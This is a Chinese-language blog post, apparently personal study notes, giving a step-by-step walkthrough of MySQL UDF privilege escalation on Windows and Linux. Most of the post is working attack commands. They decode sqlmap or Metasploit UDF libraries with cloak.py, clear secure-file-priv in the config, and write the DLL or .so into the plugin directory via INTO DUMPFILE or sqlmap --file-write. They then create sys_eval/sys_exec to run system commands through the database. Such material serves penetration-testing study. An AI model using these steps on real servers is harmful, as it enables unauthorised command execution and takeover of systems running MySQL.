UDF提权

UDF提权的原理

  1. MySQL数据库
  2. 用户自定义的MySQL函数就叫UDF(User Define Function)
  3. 提权满足的要求
    1. MySQL进程权限是系统权限(Windows下的System,Linux下Root)
    2. 拥有数据库root账号和密码
    3. 能够正常连接MySQL

Windows下UDF提权

Mysql版本 > 5.1

寻找插件目录

show variables like "%plugin%";

查看数据库版本

select version();

提权方式

准备

  1. 从Sqlmap的\data\udf\mysql\windows\32或者64
  2. 或者从metasploit的/usr/share/metasploit-framework/data/exploits/mysql/*32.dll或者*64.dll(这是指mysql是32位还是64位)把lib_mysqludf_sys.dll_文件拿出来
  3. 然后再从Sqlmap的\extra\cloak把cloak.py拿出来
  4. 然后执行命令,cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll(这里是需要把文件解码出来才能使用,从metasploit拿出来的不用解码)
  5. 然后需要打开Mysql的配置文件my.ini
  6. 加入plugin_dir=""和secure-file-priv=""在文件里面的[mysqld]的下面

(第一种导入方法)然后把udf.dll放去C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin里面(假如没有lib\plugin文件夹,需要自己创建)(别的方法在下面)

(第二种导入方法)把解码好的udf.dll放进winhex,然后复制出16进制,select 0x十六进制 into dumpfile "C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll"

(第三种导入方法)sqlmap -d "mysql://root:[email protected]:3306/mysql" --file-write="/home/l/udf.dll" --file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll"

提权

登录数据库

CREATE FUNCTION sys_eval/sys_exec RETURNS STRING SONAME 'udf.dll';(创建一个函数)

sys_eval是命令执行,sys_exec是运行程序

sys_eval输错命令MySQL不会闪退,sys_exec输错程序名会闪退

select sys_eval/sys_exec('whoami');(这时就发现可以利用数据库执行cmd命令)

 

Mysql版本 < 5.1

上传文件到c:\windows\system32就可以了,然后步骤和上面的一样

 

Linux下UDF提权

提权方式

准备

  1. 从Sqlmap的\data\udf\mysql\linux\32或者64
  2. 或者从metasploit的/usr/share/metasploit-framework/data/exploits/mysql/*32.so或者*64.so(这是指mysql是32位还是64位)把文件拿出来
  3. 然后再从Sqlmap的\extra\cloak把cloak.py拿出来
  4. 然后执行命令,cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.so(这里是需要把文件解码出来才能使用,从metasploit拿出来的不用解码)
  5. 然后需要打开Mysql的配置文件my.cnf
  6. 加入plugin_dir="/usr/lib64/mysql/plugin"在文件里面的[mysqld]的下面

(第一种导入方法)然后把udf.so放去/usr/lib64/mysql/plugin里面(假如没有plugin文件夹,需要自己创建)(别的方法在下面)(chmod 777 /usr/lib64/mysql/plugin记得给权限)
(第二种导入方法)把解码好的udf.so放进winhex,然后复制出16进制,into dumpfile "/home/l/udf.so" select unhex('16进制') into dumpfile '/usr/lib64/mysql/plugin/udf.so';
(第三种导入方法)sqlmap -d "mysql://root:[email protected]:3306/mysql" --file-write="/home/l/udf.dll" --file-dest="/usr/lib64/mysql/plugin/udf.so"

提权

登录数据库

CREATE FUNCTION sys_eval/sys_exec RETURNS STRING SONAME 'udf.so';(创建一个函数)

sys_eval是命令执行,sys_exec是运行程序

sys_eval输错命令MySQL不会闪退,sys_exec输错程序名会闪退

select sys_eval/sys_exec('whoami');(这时就发现可以利用数据库执行cmd命令)

其它

删除函数
drop function 函数名;

利用ADS创建文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';(实验没成功)

Comments | 1 条评论

  • b

    :flower-flower: 赞

消息盒子
# 您需要首次评论以获取消息 #
# 您需要首次评论以获取消息 #

只显示最新10条未读和已读信息